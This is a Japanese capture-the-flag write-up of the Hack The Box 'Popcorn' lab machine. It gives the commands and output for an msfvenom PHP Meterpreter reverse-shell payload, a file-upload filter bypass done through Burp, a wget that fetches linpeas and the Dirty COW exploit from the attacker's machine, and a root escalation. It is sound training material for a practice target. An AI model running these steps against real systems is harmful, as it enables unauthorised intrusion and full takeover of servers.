【Hack the Box】Popcorn - Write Up

#はじめに

どうもこんにちは。謎にケーキ屋バイトをはじめたikkyuです。
自分のまとめのためにも書いていきたいと思います。また日本語の解説も少なかったりするので参考の１つとしてみてくれたらなと思います。

間違っているところとかあればご指摘お願いします。

[twitter:ikkyu(@ikk_hck)](https://twitter.com/ikk_hck)


#Popcorn
HackTheBox公式より
![Screen Shot 2020-09-05 at 18.24.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/f81560e0-6e80-bbfa-8653-f00d416dce85.png)

Popcorn, while not overly complicated, contains quite a bit of content and it can be difficult for
some users to locate the proper attack vector at first. This machine mainly focuses on different
methods of web exploitation.

#nmap
```
nmap -sC -sV -Pn --script vuln 10.10.10.6
```
オプションの詳細はぼくの[Devel](https://qiita.com/ikkyu193/items/fb2b66a64d8a38d2c20b)の記事を参照してみてください。nmapの結果、

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-05 05:27 EDT
Nmap scan report for 10.10.10.6
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:5.1p1: 
|_      CVE-2014-9278   4.0     https://vulners.com/cve/CVE-2014-9278
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /test/: Test page
|   /test.php: Test page
|   /test/logon.html: Jetty
|_  /icons/: Potentially interesting folder w/ directory listing
|_http-server-header: Apache/2.2.12 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.tenable.com/plugins/nessus/55976
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.securityfocus.com/bid/49303
|_      https://seclists.org/fulldisclosure/2011/Aug/175
| vulners: 
|   cpe:/a:apache:http_server:2.2.12: 
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2012-4557   5.0     https://vulners.com/cve/CVE-2012-4557
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2010-2068   5.0     https://vulners.com/cve/CVE-2010-2068
|       CVE-2010-1452   5.0     https://vulners.com/cve/CVE-2010-1452
|       CVE-2010-0408   5.0     https://vulners.com/cve/CVE-2010-0408
|       CVE-2010-0408   5.0     https://vulners.com/cve/CVE-2010-0408
|       CVE-2009-2699   5.0     https://vulners.com/cve/CVE-2009-2699
|       CVE-2009-2699   5.0     https://vulners.com/cve/CVE-2009-2699
|       CVE-2007-6750   5.0     https://vulners.com/cve/CVE-2007-6750
|       CVE-2007-6750   5.0     https://vulners.com/cve/CVE-2007-6750
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2012-0053   4.3     https://vulners.com/cve/CVE-2012-0053
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2010-0434   4.3     https://vulners.com/cve/CVE-2010-0434
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|       CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
|_      CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 368.28 seconds
```
80番ポートが開いていますね。とりあえずブラウザからアクセス。
![Screen Shot 2020-09-05 at 18.40.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/c5c4a053-f8d8-b637-2fb8-9f1215221bf1.png)

このような画面が表示されます。

#gobuster
gobusterでどんなディレクトリがあるか探ってみます。

```
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
結構時間がかかります。すると

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.6
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/05 05:43:28 Starting gobuster
===============================================================
/index (Status: 200)
/test (Status: 200)
/torrent (Status: 301)
/rename (Status: 301)
```
ずらっと出てきます（一部抜粋）。いろいろ気になったディレクトリをみていくと、その中でもtorrentディレクトリでファイルのアップロードができることが分かります。ログインしないとできなそうなので適当にアカウントを作ってログインします。

![Screen Shot 2020-09-07 at 12.25.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/2d9038cd-3474-e7c4-ddbd-eafc3591bc97.png)

![Screen Shot 2020-09-05 at 20.40.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/f6688707-7663-2805-2477-1c9653f67f1f.png)

するとこのようなページに遷移します。
![Screen Shot 2020-09-07 at 12.27.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/f6d44975-e676-bf40-c5c6-6534fd35fe0e.png)

#msfvenom
ファイルアップロードできるようなのでリバースシェル用のペイロードをmsfvenomで作成します。

```
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.??.?? lport=4444 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1111 bytes
```

そしてアップロードを試みますがtorrentファイルしかアップロードできないようです。拡張子を変えたりburp経由でいろいろ工夫（後述）しても以下のような画面になります。

![Screen Shot 2020-09-07 at 12.33.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/bfb47e3b-ed28-e8c2-0679-6cb8b1897eeb.png)
適当にkaliのtorrentをwebからダウンロードしてアップロードしてみます。torrentファイルなら本当にアップロードできるのか？できたとして飛ばされたページ先で何かできないか、、
![Screen Shot 2020-09-05 at 21.07.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/5e7131c0-798b-006e-9371-897a5a921dc5.png)

![Screen Shot 2020-09-07 at 12.29.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/34855ea8-ed46-bb2d-1e64-9ff6e1452678.png)
無事成功します。ページの真ん中あたりに"Edit this torrent"というボタンがあり、ここから画像ファイルをアップロードできるようなので先ほどと同じようにペイロードをアップロードしてみます。すると案の定

![Screen Shot 2020-09-07 at 12.45.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/82a4a888-cedf-5743-4927-d25939929ee5.png)

らしいです。なので（先ほど後述するとして省略した）burpを経由して工夫してみたいと思います。まずburpを立ち上げてproxyタブのoptionの設定を以下のようにします。まずaddを押してローカルポートを設定し、
![Screen Shot 2020-09-07 at 12.55.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/b71d683a-e421-2134-75f8-88a8681c1557.png)
次にpopcornサーバーのipとポートを設定します。
![Screen Shot 2020-09-07 at 12.55.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/0c9b47fe-bb5d-147f-4f43-62a70b8751d3.png)
以下のような画面になっていればオッケーです。
![Screen Shot 2020-09-07 at 12.53.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/fab4dd8e-5c3e-bd8f-8719-11d52c093058.png)
場合によってはブラウザ側の設定も行わないといけないので注意してください。ぼくの場合もそうでしたがググればすぐ出てきました。拡張子がphpのままだとアップロードできなかったので画像ファイルの拡張子の１つであるpngに変更します。

```
mv shell.php shell.php.png
```
そしてburpのinterceptをonにして
![Screen Shot 2020-09-07 at 13.02.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/c8778cc1-6810-2a69-8347-52b807c821d5.png)
画像をアップロード
![Screen Shot 2020-09-07 at 13.03.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/4e6acd40-406b-d037-7e62-57bf820900d3.png)

burpで![Screen Shot 2020-09-07 at 13.05.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/237ceb45-f8d7-7c92-4ea7-99a993c95e0d.png)
のように出るので中段あたりのfilename=shell.php.pngをfilename=shell.phpに書き換えます。
![Screen Shot 2020-09-07 at 13.05.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/b8ccd907-a52a-5551-0b0e-4fcf8cbb404a.png)
![Screen Shot 2020-09-07 at 13.05.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/0bff3add-fe7c-81b3-b364-a62966033552.png)
そしてburpでforwardボタンを押すと無事アップロードできました。
![Screen Shot 2020-09-07 at 13.05.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/4ec4ddb6-7647-c661-aa95-c9d28fedbc8c.png)
問題はアップロードしたファイルがどこに行ったのか。gobusterでディレクトリをあさってみると

```
gobuster dir -u http://10.10.10.6:80/torrent/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.6:80/torrent/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/07 00:18:11 Starting gobuster
===============================================================
/index (Status: 200)
/images (Status: 301)
/download (Status: 200)
/rss (Status: 200)
/login (Status: 200)
/templates (Status: 301)
/users (Status: 301)
/admin (Status: 301)
/health (Status: 301)
/browse (Status: 200)
/comment (Status: 200)
/upload (Status: 301)
Progress: 488 / 220561 (0.22%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/09/07 00:18:30 Finished
===============================================================
```
gobusterが調べてくれている途中でuploadというディレクトリが見つかったので途中でgobusterを中断し、/torrent/uploadへ行ってみる。
![Screen Shot 2020-09-07 at 13.22.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197716/3a7b3127-13b6-d63d-2449-29c166f07937.png)

#リバースシェル 
phpファイルがアップロードされているのでmsfでハンドラを設定してリバースシェルをしていきたいと思います。

```
~/Desktop/popcorn$ msfconsole
                                                                                                                         
                                                                                                                         
 ______________________________________________________________________________                                          
|                                                                              |                                         
|                          3Kom SuperHack II Logon                             |                                         
|______________________________________________________________________________|                                         
|                                                                              |                                         
|                                                                              |                                         
|                                                                              |                                         
|                 User Name:          [   security    ]                        |                                         
|                                                                              |                                         
|                 Password:           [               ]                        |                                         
|                                                                              |                                         
|                                                                              |                                          
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v5.0.87-dev                          ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View missing module options with show missing
      
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lhost 10.10.14.2
lhot => 10.10.14.2
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run


[*] Started reverse TCP handler on 10.10.14.2:4444 
```
次にブラウザから先ほとのphpファイルにアクセスすると

```
[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Sending stage (38288 bytes) to 10.10.10.6
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.6:60984) at 2020-09-07 00:29:34 -0400

meterpreter > 
```
リバースシェル 成功です。

```
meterpreter > getuid
Server username: www-data (33)
```
まだrootではないので特権エスカレーションしていきたいと思います。

#特権エスカレーション

```
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.6 - Collecting local exploits for php/linux...
[-] 10.10.10.6 - No suggestions available.
[*] Post module execution completed
```
特に何も見つかりません。local_exploit_suggesterについては過去記事の[Hack the Box (HTB) Devel write-up](https://qiita.com/ikkyu193/items/fb2b66a64d8a38d2c20b)を参照してください。


#linpeas
linpeasは特権エスカレーションに使えそうなパスを探してくれます。
まずローカルのディレクトリにネットからlinpeas.shを落としてきて、同じディレクトリにサーバをたてます。

```
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```
そしてpopcornのサーバ側で

```
meterpreter > shell                                                                                                               
Process 13500 created.                                                                                                            
Channel 1 created.                                                                                                                
```
シェルを起動し、wgetでローカルに落としたlinpeas.shを持ってくる。

```                                                                                                                                                                                                                 
wget http://10.10.14.2:8000/linpeas.sh                                                                                                                                                                      
--2020-09-07 11:12:13--  http://10.10.??.??:8000/linpeas.sh                                                                                                                                                  
Connecting to 10.10.??.??:8000... connected.                                                                                                                                                                          
HTTP request sent, awaiting response... 200 OK                                                                                                                                                                       
Length: 243901 (238K) [text/x-sh]                                                                                                                                                                                                      
Saving to: `linpeas.sh'                                                                                                                                                                                                                
                                                                                                                                                                                                                                       
     0K .......... .......... .......... .......... .......... 20%  122K 2s                                                                                                                                                            
    50K .......... .......... .......... .......... .......... 41%  121K 1s                                                                                                                                                                
   100K .......... .......... .......... .......... .......... 62%  123K 1s                                                                                                                                                                
   150K .......... .......... .......... .......... .......... 83%  243K 0s
   200K .......... .......... .......... ........             100%  186K=1.6s

2020-09-07 11:12:15 (145 KB/s) - `linpeas.sh' saved [243901/243901]
```
実行しようとするが権限がないと言われるのでchmodでファイルのアクセス権限を変更して実行

```
./linpeas.sh
/bin/sh: ./linpeas.sh: Permission denied
chmod 777 linpeas.sh
./linpeas.sh
```
すると

```
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                                                                                                    
  RED/YELLOW: 99% a PE vector
  RED: You must take a look at it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMangeta: Your username


====================================( Basic information )=====================================
OS: Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009                                                                                           
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: popcorn
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)                                                                                                               
                                                                                                                                                                                                                                            

Caching directories . . . . . . . . . . . . . . . . . . . . DONE
```
出力結果の一部抜粋ですがlinuxのバージョンがかなり古い（2.6.31）ことが分かります。バージョンが古いとLocal Priviledge Escalationが可能な脆弱性がある場合が多い（[[HackPack CTF 2020 writeup] Hupty Dumpty's SSH Account](https://qiita.com/autumnKa15/items/16dc515ae08520f93086)参照）ので適当に"linux 2.6.31 privilege escalation"調べてみると"[Dirty Cow](https://www.exploit-db.com/exploits/40839)"という脆弱性が見つかります。
linpeas.shと同様にローカルに落としてきてpopcornサーバに持ってきます。

```
wget http://10.10.??.??:8000/40839.c
--2020-09-07 11:35:20--  http://10.10.??.??:8000/40839.c
Connecting to 10.10.??.??:8000... failed: Connection refused.
wget http://10.10.??.??:8000/40839.c
--2020-09-07 11:36:20--  http://10.10.??.??:8000/40839.c
Connecting to 10.10.??.??:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [text/plain]
Saving to: `40839.c'

     0K ....                                                  100% 72.8M=0s

2020-09-07 11:36:20 (72.8 MB/s) - `40839.c' saved [5006/5006]
```
ソース元の[exploit db](https://www.exploit-db.com/exploits/40839)の説明(一部抜粋)↓

```
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
```
を読みながらまずはコンパイルします。pthreadオプションはpthreadライブラリにリンクしスレッドを構成するようコンパイラーに指示しマルチスレッドプログラミングを可能にします（[GCCを使ったマルチスレッド・プログラミングの基本](https://www.cqpub.co.jp/Interface/column/freesoft/2004/200405/3.htm)参照）。
そしてlcryptオプションでcryptライブラリをリンクしています。実行し適当にパスワードを設定。

```
gcc -pthread 40839.c -o dirty -lcrypt
chmod 777 dirty
./dirty
Please enter the new password: aaa
```
ローカルからssh接続します。firefartはdirtycowのソース元の説明にある通りデフォです。
パスワードは先ほど適当に設定したaaa。

```
sh firefart@10.10.10.6
The authenticity of host '10.10.10.6 (10.10.10.6)' can't be established.
RSA key fingerprint is SHA256:V1Azfw43WixBJWVAsqnBuoCdUrthzn2x6VQiZjAUusk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.6' (RSA) to the list of known hosts.
firefart@10.10.10.6's password: 
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

  System information as of Mon Sep  7 11:52:10 EEST 2020

  System load: 1.24              Memory usage: 11%   Processes:       117
  Usage of /:  6.2% of 14.80GB   Swap usage:   0%    Users logged in: 0

  => There are 3 zombie processes.

  Graph this data and manage this system at https://landscape.canonical.com/

Last login: Sun Sep 24 18:01:48 2017
```
無事接続できたみたいなので管理者権限かどうか確認してみるとrootになっています。そのままroot.txtを出力しておしまい。

```
firefart@popcorn:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:~# ls
root.txt
firefart@popcorn:~# cat root.txt
```

おつかれさまでした。では。